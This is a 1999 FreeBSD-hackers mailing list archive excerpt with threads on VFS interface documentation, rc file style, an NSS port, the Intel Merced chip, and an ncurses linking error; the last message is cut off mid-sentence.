shekel.mcl.cs.columbia.edu (shekel.mcl.cs.columbia.edu [128.59.18.15]) by cs.columbia.edu (8.9.1/8.9.1) with ESMTP id QAA02879; Fri, 27 Aug 1999 16:18:47 -0400 (EDT) Received: (from ezk@localhost) by shekel.mcl.cs.columbia.edu (8.9.1/8.9.1) id QAA22373; Fri, 27 Aug 1999 16:18:45 -0400 (EDT) Date: Fri, 27 Aug 1999 16:18:45 -0400 (EDT) Message-Id: <199908272018.QAA22373@shekel.mcl.cs.columbia.edu> X-Authentication-Warning: shekel.mcl.cs.columbia.edu: ezk set sender to ezk@shekel.mcl.cs.columbia.edu using -f From: Erez Zadok To: Matthew Dillon Cc: Alfred Perlstein , hackers@FreeBSD.ORG, fs@FreeBSD.ORG, Michael Hancock , David Greenman Subject: Re: HEADS UP Reviewers. VFS changes to be committed. In-reply-to: Your message of "Thu, 26 Aug 1999 10:27:47 PDT." <199908261727.KAA23308@apollo.backplane.com> Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In message <199908261727.KAA23308@apollo.backplane.com>, Matthew Dillon writes: [...] > I would ask two things though: > > * First, please add comprehensive /* */ comments in front of each > vfsnop_*() procedure explaining what it does, why it returns what > it returns, locking requirements (if any) on entry, and side effects > on return. This is just for readability. > > Do the same for all the procedures you are adding, in fact. Moreover, I would strongly recommend xplicitly documenting the following: - which function args are in-args and which are out-args? - does the function takes any allocated memory that it is expected to free? - is the function expected to allocate any memory objects that have to be freed elsewhere? - does the function increase or decrease any reference counts of any objects? Is it expected to? These and other requirements are essentially the "interface" between the VFS and lower-level file systems. Figuring out this stuff on every OS and OS revision (esp. when the VFS changes so often---linux) was the longest most frustrating task I faced when writing my Wrapfs stackable f/s module for solaris, freebsd, and linux. I wish documentation had been in place. > * I think you can safely commit any elements that are not used by > existing builds since they are not likely to impact existing > builds operationally. > > Then see what you have left over. If it is not significant, commit > that to. If it is significant, do more comprehensive testing on > what you have left over (i.e. that impacts existing builds) and > ask for another review after testing, before committing it. Erez. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Aug 27 13:34:16 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from dorifer.heim3.tu-clausthal.de (dorifer.heim3.tu-clausthal.de [139.174.243.252]) by hub.freebsd.org (Postfix) with ESMTP id EA29E15012 for ; Fri, 27 Aug 1999 13:34:07 -0700 (PDT) (envelope-from olli@dorifer.heim3.tu-clausthal.de) Received: (from olli@localhost) by dorifer.heim3.tu-clausthal.de (8.8.8/8.8.8) id WAA12801 for freebsd-hackers@FreeBSD.ORG; Fri, 27 Aug 1999 22:32:30 +0200 (CEST) (envelope-from olli) Date: Fri, 27 Aug 1999 22:32:30 +0200 (CEST) From: Oliver Fromme Message-Id: <199908272032.WAA12801@dorifer.heim3.tu-clausthal.de> To: freebsd-hackers@FreeBSD.ORG Subject: Re: Please review: rc file changes Organization: Administration Heim 3 Reply-To: freebsd-hackers@FreeBSD.ORG MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit X-Newsreader: TIN [version 1.2 RZTUC(3) PL2] Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Maybe this is nit-picking, too, buth those are just my 0.02 Euros... Doug wrote in list.freebsd-hackers: > -# this file, but rather in /etc/defaults/rc.conf. Please check this file > +# this file, but rather in /etc/defaults/rc.conf. Please check that file I'd prefer to keep it with two spaces, to improve readability. > case $? in > - 0) > + 0 ) > ;; > - 2) > + 2 ) > exit 1 > ;; > - 4) > + 4 ) I have yet to see a good reason for adding those spaces. I don't like them, but that's just me... Apart from the above -- Good work, Doug! Regards Oliver -- Oliver Fromme, Leibnizstr. 18/61, 38678 Clausthal, Germany (Info: finger userinfo:olli@dorifer.heim3.tu-clausthal.de) "In jedem Stück Kohle wartet ein Diamant auf seine Geburt" (Terry Pratchett) To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Aug 27 13:34:59 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from critter.freebsd.dk (critter.freebsd.dk [212.242.40.131]) by hub.freebsd.org (Postfix) with ESMTP id 7DAB816064; Fri, 27 Aug 1999 13:34:48 -0700 (PDT) (envelope-from phk@critter.freebsd.dk) Received: from critter.freebsd.dk (localhost [127.0.0.1]) by critter.freebsd.dk (8.9.3/8.9.2) with ESMTP id WAA06795; Fri, 27 Aug 1999 22:32:27 +0200 (CEST) (envelope-from phk@critter.freebsd.dk) To: Erez Zadok Cc: Matthew Dillon , Alfred Perlstein , hackers@FreeBSD.ORG, fs@FreeBSD.ORG, Michael Hancock , David Greenman Subject: Re: HEADS UP Reviewers. VFS changes to be committed. In-reply-to: Your message of "Fri, 27 Aug 1999 16:18:45 EDT." <199908272018.QAA22373@shekel.mcl.cs.columbia.edu> Date: Fri, 27 Aug 1999 22:32:27 +0200 Message-ID: <6793.935785947@critter.freebsd.dk> From: Poul-Henning Kamp Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Uhm, have any of you actually ever looked at src/sys/kern/vnode_if.src ? Poul-Henning In message <199908272018.QAA22373@shekel.mcl.cs.columbia.edu>, Erez Zadok write s: >In message <199908261727.KAA23308@apollo.backplane.com>, Matthew Dillon writes: >[...] >> I would ask two things though: >> >> * First, please add comprehensive /* */ comments in front of each >> vfsnop_*() procedure explaining what it does, why it returns what >> it returns, locking requirements (if any) on entry, and side effects >> on return. This is just for readability. >> >> Do the same for all the procedures you are adding, in fact. > >Moreover, I would strongly recommend xplicitly documenting the following: > >- which function args are in-args and which are out-args? > >- does the function takes any allocated memory that it is expected to free? > >- is the function expected to allocate any memory objects that have to be > freed elsewhere? > >- does the function increase or decrease any reference counts of any objects? > Is it expected to? > >These and other requirements are essentially the "interface" between the VFS >and lower-level file systems. Figuring out this stuff on every OS and OS >revision (esp. when the VFS changes so often---linux) was the longest most >frustrating task I faced when writing my Wrapfs stackable f/s module for >solaris, freebsd, and linux. I wish documentation had been in place. > >> * I think you can safely commit any elements that are not used by >> existing builds since they are not likely to impact existing >> builds operationally. >> >> Then see what you have left over. If it is not significant, commit >> that to. If it is significant, do more comprehensive testing on >> what you have left over (i.e. that impacts existing builds) and >> ask for another review after testing, before committing it. > >Erez. > > >To Unsubscribe: send mail to majordomo@FreeBSD.org >with "unsubscribe freebsd-fs" in the body of the message > -- Poul-Henning Kamp FreeBSD coreteam member phk@FreeBSD.ORG "Real hackers run -current on their laptop." FreeBSD -- It will take a long time before progress goes too far! To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Aug 27 13:48:44 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from voyager.fisicc-ufm.edu (ip-198-202.guate.net [209.198.197.202]) by hub.freebsd.org (Postfix) with ESMTP id D51F31556D for ; Fri, 27 Aug 1999 13:48:03 -0700 (PDT) (envelope-from obonilla@voyager.fisicc-ufm.edu) Received: (from obonilla@localhost) by voyager.fisicc-ufm.edu (8.9.3/8.9.3) id OAA00591; Fri, 27 Aug 1999 14:45:45 -0600 (CST) (envelope-from obonilla) Date: Fri, 27 Aug 1999 14:45:44 -0600 From: Oscar Bonilla To: John Sconiers Cc: Oscar Bonilla , freebsd-hackers@freebsd.org Subject: Re: NSS Project Message-ID: <19990827144544.B535@fisicc-ufm.edu> References: <19990803095333.A14120@fisicc-ufm.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0pre1i In-Reply-To: Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Fri, Aug 27, 1999 at 01:33:03PM -0500, John Sconiers wrote: > > I was looking for followups to this thread and have searched the archives > for more information without luck. I have a few questions. Has this > project furthered any and where can one get the diffs / source??? Is > there a website that goes in depth about the project. > > I've been very busy and seem to be the only one doing something along this line. As I said earlier, I've ported the nss stuff from NetBSD and posted some patches to the list a while back that had the nsdispatch function implemented. It was not a complete implementation since the get*ent functions in libc were not modified to use the nsdispatch function. I started to look into nsdispatch to make it dynamically load the get*ent functions using dlload (a la pam) but had a lot of work in the meantime and didn't finish the stuff. I've started looking into the code agan (yesterday) and it doesn't seem too difficult to have it dynamically load the stuff. I'll post to the list when I have code that actually does something :) regards, -Oscar -- For PGP Public Key: finger obonilla@fisicc-ufm.edu To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Aug 27 14: 5:59 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from sasami.jurai.net (sasami.jurai.net [63.67.141.99]) by hub.freebsd.org (Postfix) with ESMTP id C152C1550E for ; Fri, 27 Aug 1999 14:05:49 -0700 (PDT) (envelope-from winter@jurai.net) Received: from localhost (winter@localhost) by sasami.jurai.net (8.8.8/8.8.7) with ESMTP id RAA17641; Fri, 27 Aug 1999 17:03:23 -0400 (EDT) Date: Fri, 27 Aug 1999 17:03:22 -0400 (EDT) From: "Matthew N. Dodd" To: Kris Kirby Cc: hackers@FreeBSD.ORG Subject: Re: Are the ethernet drivers time dependent? In-Reply-To: <37C62289.E8E11CF8@airnet.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Fri, 27 Aug 1999, Kris Kirby wrote: > I know there are drivers for the WaveLan card, but I'm looking at going > even slower (256Kb!). Why do you wnat to do this? If for bandwidht limiting you need look no further than 'dummynet'. -- | Matthew N. Dodd | '78 Datsun 280Z | '75 Volvo 164E | FreeBSD/NetBSD | | winter@jurai.net | 2 x '84 Volvo 245DL | ix86,sparc,pmax | | http://www.jurai.net/~winter | This Space For Rent | ISO8802.5 4ever | To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Aug 27 14:18: 1 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from argus.tfs.net (host1-225.birch.net [216.212.1.225]) by hub.freebsd.org (Postfix) with ESMTP id 2515214E67 for ; Fri, 27 Aug 1999 14:17:53 -0700 (PDT) (envelope-from jbryant@argus.tfs.net) Received: (from jbryant@localhost) by argus.tfs.net (8.9.3/8.8.5) id QAA28390; Fri, 27 Aug 1999 16:14:54 -0500 (CDT) From: Jim Bryant Message-Id: <199908272114.QAA28390@argus.tfs.net> Subject: Re: Intel Merced FreeBSD??? Intel? - NOT In-Reply-To: from David Scheidt at "Aug 27, 99 03:07:54 pm" To: dscheidt@enteract.com (David Scheidt) Date: Fri, 27 Aug 1999 16:14:53 -0500 (CDT) Cc: freebsd-hackers@freebsd.org Reply-To: jbryant@tfs.net X-Windows: R00LZ!@# MS-Winbl0wz DR00LZ!@# X-files: The truth is that the X-Files is fiction X-Republican: The best kind!!! X-Operating-System: FreeBSD 4.0-CURRENT #31: Thu Apr 8 10:40:17 CDT 1999 X-Mailer: ELM [version 2.4ME+ PL32 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In reply: > On Fri, 27 Aug 1999, Sean Eric Fagan wrote: > > > In article you write: > > Look, people, the Merced WILL NOT excuse PA-RISC code directly. It will be > > done via emulation/translation, and only a certain particular OS will be > > supported (HP-UX 11, I believe they stated -- since HP-UX 11 runs almost all > > HP-UX 10.* applications with no problem, I am _guessing_ that this means they > > will continue to work). > > I just asked one of our HP people about this. He says that anything that > runs on HP 11.0 PA-RISC will run on IA64. It is his understanding that this > includes not only 10.x stuff, but also 9.x and 8.x stuff. We have stuff > that runs on 11 that was originally compiled for 8.0. > > David Scheidt ummm... you really need to get that recompiled at the earliest convenience. preferbaly this year. jim -- All opinions expressed are mine, if you | "I will not be pushed, stamped, think otherwise, then go jump into turbid | briefed, debriefed, indexed, or radioactive waters and yell WAHOO !!! | numbered!" - #1, "The Prisoner" ------------------------------------------------------------------------------ Inet: jbryant@tfs.net AX.25: kc5vdj@wv0t.#neks.ks.usa.noam grid: EM28pw voice: KC5VDJ - 6 & 2 Meters AM/FM/SSB, 70cm FM. http://www.tfs.net/~jbryant ------------------------------------------------------------------------------ HF/6M/2M: IC-706-MkII, 2M: HTX-212, 2M: HTX-202, 70cm: HTX-404, Packet: KPC-3+ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Aug 27 15: 7:16 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from xylan.com (postal.xylan.com [208.8.0.248]) by hub.freebsd.org (Postfix) with ESMTP id BF128152C6; Fri, 27 Aug 1999 15:07:06 -0700 (PDT) (envelope-from wes@softweyr.com) Received: from mailhub.xylan.com by xylan.com (8.8.7/SMI-SVR4 (xylan-mgw 2.2 [OUT])) id PAA20196; Fri, 27 Aug 1999 15:05:10 -0700 (PDT) Received: from utah.XYLAN.COM by mailhub.xylan.com (SMI-8.6/SMI-SVR4 (mailhub 2.1 [HUB])) id OAA07598; Fri, 27 Aug 1999 14:57:10 -0700 Received: from softweyr.com by utah.XYLAN.COM (SMI-8.6/SMI-SVR4 (xylan utah [SPOOL])) id QAA06142; Fri, 27 Aug 1999 16:05:01 -0600 Message-ID: <37C70B8D.5500F38B@softweyr.com> Date: Fri, 27 Aug 1999 16:05:01 -0600 From: Wes Peters Organization: Softweyr LLC X-Mailer: Mozilla 4.5 [en] (X11; U; FreeBSD 3.1-RELEASE i386) X-Accept-Language: en MIME-Version: 1.0 To: Mitch Collinsworth Cc: Kenny Drobnack , Thomas David Rivers , freebsd-hackers@FreeBSD.ORG, freebsd-questions@FreeBSD.ORG Subject: Re: Intel Merced FreeBSD??? References: <199908271414.AA097143240@broccoli.graphics.cornell.edu> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Mitch Collinsworth wrote: > > ?? I thought we had already established that neither Linux or NT runs > on Merced, only HP-UX so far. I would certainly like to see a FBSD > port as I imagine we will be seeing Merced-based systems here quite > early on. Nope, it was reported last week a group at Intel has Linux booting on a Merced simulator. That doesn't mean it's ready to release, but it's a lot further along than most systems. If you think Microsoft doesn't have 64-bit NT in development for Merced, you're being awfully gullible. Compaq was insisting that Alpha remained the development platform for NT64 while dropping support for NT32 on the Alpha last week, while Microsoft was griping about the decision and talking about dropping Alpha as the NT64 development platform. They can't yet, of course, because they don't HAVE any Merced chips, but the writing is on the wall... -- "Where am I, and what am I doing in this handbasket?" Wes Peters Softweyr LLC http://softweyr.com/ wes@softweyr.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Aug 27 15:11: 9 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from xylan.com (postal.xylan.com [208.8.0.248]) by hub.freebsd.org (Postfix) with ESMTP id 02BB9152C6; Fri, 27 Aug 1999 15:11:04 -0700 (PDT) (envelope-from wes@softweyr.com) Received: from mailhub.xylan.com by xylan.com (8.8.7/SMI-SVR4 (xylan-mgw 2.2 [OUT])) id PAA20212; Fri, 27 Aug 1999 15:08:20 -0700 (PDT) Received: from utah.XYLAN.COM by mailhub.xylan.com (SMI-8.6/SMI-SVR4 (mailhub 2.1 [HUB])) id PAA07651; Fri, 27 Aug 1999 15:00:20 -0700 Received: from softweyr.com by utah.XYLAN.COM (SMI-8.6/SMI-SVR4 (xylan utah [SPOOL])) id QAA06160; Fri, 27 Aug 1999 16:08:17 -0600 Message-ID: <37C70C51.CD642035@softweyr.com> Date: Fri, 27 Aug 1999 16:08:17 -0600 From: Wes Peters Organization: Softweyr LLC X-Mailer: Mozilla 4.5 [en] (X11; U; FreeBSD 3.1-RELEASE i386) X-Accept-Language: en MIME-Version: 1.0 To: Mitch Collinsworth Cc: Kenny Drobnack , Thomas David Rivers , freebsd-hackers@FreeBSD.ORG, freebsd-questions@FreeBSD.ORG Subject: Re: Intel Merced FreeBSD??? References: <199908271450.AA099545405@broccoli.graphics.cornell.edu> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Mitch Collinsworth wrote: > > >> I recall a conversation not long ago with a sysadmin in the business > >> school here. I was asking what their typical laptop configuration was > >> and was told that some members of their faculty were quite particular > >> about finding out what their colleagues machines had and then making > >> sure theirs was more/better/faster, etc. I highly doubt this kind of > >> purchasing only happens here. :-) > > > > Good point. I know it happens, but is it the majority of the > >market? > > Who knows? But what's so important about being a majority? Intel is not aiming Merced at the majority of the market initially, any more than they are aiming the current generation Xeon processors at the masses now. They do, however, plan to have it become the dominant 64-bit architecture for desktop and server computers. Let 'em have them. I'm personally interested in dominating the market for keeltop computers and bilge severs. ;^) -- "Where am I, and what am I doing in this handbasket?" Wes Peters Softweyr LLC http://softweyr.com/ wes@softweyr.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Aug 27 15:17: 4 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from xylan.com (postal.xylan.com [208.8.0.248]) by hub.freebsd.org (Postfix) with ESMTP id CC78B155CA; Fri, 27 Aug 1999 15:16:57 -0700 (PDT) (envelope-from wes@softweyr.com) Received: from mailhub.xylan.com by xylan.com (8.8.7/SMI-SVR4 (xylan-mgw 2.2 [OUT])) id PAA20356; Fri, 27 Aug 1999 15:13:52 -0700 (PDT) Received: from utah.XYLAN.COM by mailhub.xylan.com (SMI-8.6/SMI-SVR4 (mailhub 2.1 [HUB])) id PAA07939; Fri, 27 Aug 1999 15:05:13 -0700 Received: from softweyr.com by utah.XYLAN.COM (SMI-8.6/SMI-SVR4 (xylan utah [SPOOL])) id QAA06221; Fri, 27 Aug 1999 16:13:06 -0600 Message-ID: <37C70D71.73B0A52F@softweyr.com> Date: Fri, 27 Aug 1999 16:13:05 -0600 From: Wes Peters Organization: Softweyr LLC X-Mailer: Mozilla 4.5 [en] (X11; U; FreeBSD 3.1-RELEASE i386) X-Accept-Language: en MIME-Version: 1.0 To: Jay West Cc: freebsd-hackers@FreeBSD.ORG, freebsd-questions@FreeBSD.ORG Subject: Re: Intel Merced FreeBSD??? Intel? - NOT References: <000e01bef08b$3d606340$d402a8c0@ws2.tse.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Jay West wrote: > > Keep in mind that the merced chip was not really designed or created by > Intel at all. No, you're confusing terms here. Merced is a particular chip, like Tillamook is a specific Pentium. HP designed the 64-bit architecture in the Merced, what will become the "IA64", but Intel designed the Merced chip. > It was created almost completely by HP (by the same group responsible for > PA-RISC), with Intel as merely the production facilities. For obvious > marketing, competitive, and resource reasons both HP and Intel share the > rights to merced. > > As a matter of fact, the standard version of merced includes the PA-RISC > engine along with an x86 instruction decoder. It is, in fact, the x86 compatibility mode that has delayed Merced for SO many years. HP actually had the 64-bit sort-of-long-instruction word architecture working when Intel joined in. To say they're bitter about the decision now is to understate the case considerably; Merced will ship with approximately the same performance HP predicted for the original chip in 95 or 96. -- "Where am I, and what am I doing in this handbasket?" Wes Peters Softweyr LLC http://softweyr.com/ wes@softweyr.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Aug 27 15:17:46 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from broccoli.graphics.cornell.edu (broccoli.graphics.cornell.edu [128.84.247.53]) by hub.freebsd.org (Postfix) with ESMTP id 2AABB16070; Fri, 27 Aug 1999 15:17:39 -0700 (PDT) (envelope-from mkc@Graphics.Cornell.EDU) Received: from graphics.cornell.edu (localhost.graphics.cornell.edu) by broccoli.graphics.cornell.edu with ESMTP (1.37.109.16/16.2) id AA117182070; Fri, 27 Aug 1999 18:14:30 -0400 Message-Id: <199908272214.AA117182070@broccoli.graphics.cornell.edu> X-Mailer: exmh version 2.0zeta 7/24/97 To: Wes Peters Cc: Kenny Drobnack , Thomas David Rivers , freebsd-hackers@FreeBSD.ORG, freebsd-questions@FreeBSD.ORG Subject: Re: Intel Merced FreeBSD??? In-Reply-To: Your message of "Fri, 27 Aug 1999 16:05:01 MDT." <37C70B8D.5500F38B@softweyr.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Fri, 27 Aug 1999 18:14:29 -0400 From: Mitch Collinsworth Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG >If you think Microsoft doesn't have 64-bit NT in development for Merced, >you're being awfully gullible. I don't think anyone has suggested it's not being developed. Only that NT is Not There today. (And that we'd all just love to have a FBSD port available when systems start shipping! :-) -Mitch To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Aug 27 15:36:21 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from lily.ezo.net (lily.ezo.net [206.102.130.13]) by hub.freebsd.org (Postfix) with ESMTP id A674214C44 for ; Fri, 27 Aug 1999 15:36:17 -0700 (PDT) (envelope-from jflowers@ezo.net) Received: from ivy (ivy.ezo.net [206.150.211.171]) by lily.ezo.net (8.8.7/8.8.7) with SMTP id SAA15271 for ; Fri, 27 Aug 1999 18:36:09 -0400 (EDT) Message-ID: <00da01bef0dc$b47b3f80$abd396ce@eznet> From: "Jim Flowers" To: Subject: Excluded Include ? Date: Fri, 27 Aug 1999 18:37:11 -0400 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2314.1300 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I am trying to compile a sync driver maintenance program on fbsd-stable. I keep getting compiler errors: ft1config.o: In function `run_interactive': ft1config.o(.text+0x565): undefined reference to `initscr' ft1config.o(.text+0x56a): undefined reference to `cbreak' ft1config.o(.text+0x56f): undefined reference to `noecho' ft1config.o(.text+0x577): undefined reference to `stdscr' ft1config.o(.text+0x57c): undefined reference to `scrollok' ft1config.o(.text+0x583): undefined reference to `halfdelay' ft1config.o(.text+0x5c2): undefined reference to `stdscr' ft1config.o(.text+0x5c7): undefined reference to `wrefresh' ft1config.o(.text+0x5d1): undefined reference to `printw' ft1config.o(.text+0x658): undefined reference to `printw' ft1config.o(.text+0x672): undefined reference to `printw' ft1config.o(.text+0x6e8): undefined reference to `stdscr' ft1config.o(.text+0x6ed): undefined reference to `wrefresh' ft1config.o(.text+0x6f3): undefined reference to `stdscr' ft1config.o(.text+0x6f8): undefined reference to `wgetch' even though the source file has #include at the head of the list. I've tried -I/usr/include and "ncurses.h" with a link to the working directory and I'm out of ideas. What am I doing wrong, please? Thanks. Jim To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Aug 27 15:44:41 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from gatekeeper.tseinc.com (gatekeeper.tseinc.com [209.83.134.9]) by hub.freebsd.org (Postfix) with ESMTP id 5A1FC160DC for ; Fri, 27 Aug 1999 15:44:32 -0700 (PDT) (envelope-from jlwest@tseinc.com) Received: (from nobody@localhost) by gatekeeper.tseinc.com (8.8.8/8.8.8) id RAA00723; Fri, 27 Aug 1999 17:44:23 -0500 (CDT) (envelope-from jlwest@tseinc.com) X-Authentication-Warning: gatekeeper.tseinc.com: nobody set sender to using -f Received: from ws2.tse.com(192.168.2.212) by gatekeeper.tseinc.com via smap (V2.1) id xma000721; Fri, 27 Aug 99 17:43:30 -0500 Message-ID: <006401bef0de$38573d80$d402a8c0@ws2.tse.com> From: "Jay West" To: "Sean Eric Fagan" , Subject: Re: Intel Merced FreeBSD??? Intel? - NOT Date: Fri, 27 Aug 1999 17:48:02 -0500 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 4.72.2106.4 X-MimeOLE: Produced By Microsoft MimeOLE V4.72.2106.4 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I had written..... >>As a matter of fact, the standard version of merced includes the PA-RISC >>engine along with an x86 instruction decoder. To which you replied... >Uh, no. > >The Merced does not do PA-RISC decoding in hardware. Period. Wrong. I wish I could send you the Internal design papers that I've gone over myself at HP. It was several years ago, but.... The merced executes PA-RISC instructions natively. It also executes x86 instructions natively. If the chip you get doesn't do one or the other, it's because that section has been lobotomized for marketing/contract reasons due to where you get the chip from. The section is still on the silicon though... Jay To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Aug 27 15:50:23 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from celery.dragondata.com (celery.dragondata.com [205.253.12.6]) by hub.freebsd.org (Postfix) with ESMTP id 0AFAE15628 for ; Fri, 27 Aug 1999 15:50:19 -0700 (PDT) (envelope-from toasty@celery.dragondata.com) Received: (from toasty@localhost) by celery.dragondata.com (8.9.3/8.9.3) id RAA60038; Fri, 27 Aug 1999 17:50:24 -0500 (CDT) (envelope-from toasty) From: Kevin Day Message-Id: <199908272250.RAA60038@celery.dragondata.com> Subject: Re: Excluded Include ? To: jflowers@ezo.net (Jim Flowers) Date: Fri, 27 Aug 1999 17:50:24 -0500 (CDT) Cc: freebsd-hackers@FreeBSD.ORG In-Reply-To: <00da01bef0dc$b47b3f80$abd396ce@eznet> from "Jim Flowers" at Aug 27, 1999 06:37:11 PM X-Mailer: ELM [version 2.5 PL1] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > > I am trying to compile a sync driver maintenance program on fbsd-stable. I > keep getting compiler errors: > > ft1config.o: In function `run_interactive': > ft1config.o(.text+0x565): undefined reference to `initscr' > ft1config.o(.text+0x56a): undefined reference to `cbreak' > ft1config.o(.text+0x56f): undefined reference to `noecho' > ft1config.o(.text+0x577): undefined reference to `stdscr' > ft1config.o(.text+0x57c): undefined reference to `scrollok' > ft1config.o(.text+0x583): undefined reference to `halfdelay' > ft1config.o(.text+0x5c2): undefined reference to `stdscr' > ft1config.o(.text+0x5c7): undefined reference to `wrefresh' > ft1config.o(.text+0x5d1): undefined reference to `printw' > ft1config.o(.text+0x658): undefined reference to `printw' > ft1config.o(.text+0x672): undefined reference to `printw' > ft1config.o(.text+0x6e8): undefined reference to `stdscr' > ft1config.o(.text+0x6ed): undefined reference to `wrefresh' > ft1config.o(.text+0x6f3): undefined reference to `stdscr' > ft1config.o(.text+0x6f8): undefined reference to `wgetch' > > even though the source file has #include at the head of the > list. I've tried -I/usr/include and "ncurses.h" with a link to the working > directory and I'm out of ideas. > > What am I doing wrong, please? > > Thanks. > > Jim > > try adding -lncurses to your link line. :) Kevin To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Aug 27 15:58:46 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from uni4nn.gn.iaf.nl (osmium.gn.iaf.nl [193.67.144.12]) by hub.freebsd.org (Postfix) with ESMTP id 44DF2155CC; Fri, 27 Aug 1999 15:58:37 -0700 (PDT) (envelope-from wilko@yedi.iaf.nl) Received: from yedi.iaf.nl (uucp@localhost) by uni4nn.gn.iaf.nl (8.9.2/8.9.2) with UUCP id AAA03568; Sat, 28 Aug 1999 00:33:22 +0200 (MET DST) Received: (from wilko@localhost) by yedi.iaf.nl (8.9.3/8.9.3) id AAA03716; Sat, 28 Aug 1999 00:25:01 +0200 (CEST) (envelope-from wilko) From: Wilko Bulte Message-Id: <199908272225.AAA03716@yedi.iaf.nl> Subject: Re: Intel Merced FreeBSD??? In-Reply-To: <37C70B8D.5500F38B@softweyr.com> from Wes Peters at "Aug 27, 1999 4: 5: 1 pm" To: wes@softweyr.com (Wes Peters) Date: Sat, 28 Aug 1999 00:25:01 +0200 (CEST) Cc: mkc@Graphics.Cornell.EDU, kdrobnac@mission.mvnc.edu, rivers@dignus.com, freebsd-hackers@FreeBSD.ORG, freebsd-questions@FreeBSD.ORG X-Organisation: Private FreeBSD site - Arnhem, The Netherlands X-pgp-info: PGP public key at 'finger wilko@freefall.freebsd.org' X-Mailer: ELM [version 2.4ME+ PL43 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG As Wes Peters wrote ... > Mitch Collinsworth wrote: > > > > ?? I thought we had already established that neither Linux or NT runs > > on Merced, only HP-UX so far. I would certainly like to see a FBSD > > port as I imagine we will be seeing Merced-based systems here quite > > early on. > > Nope, it was reported last week a group at Intel has Linux booting on a > Merced simulator. That doesn't mean it's ready to release, but it's a lot > further along than most systems. > > If you think Microsoft doesn't have 64-bit NT in development for Merced, > you're being awfully gullible. Compaq 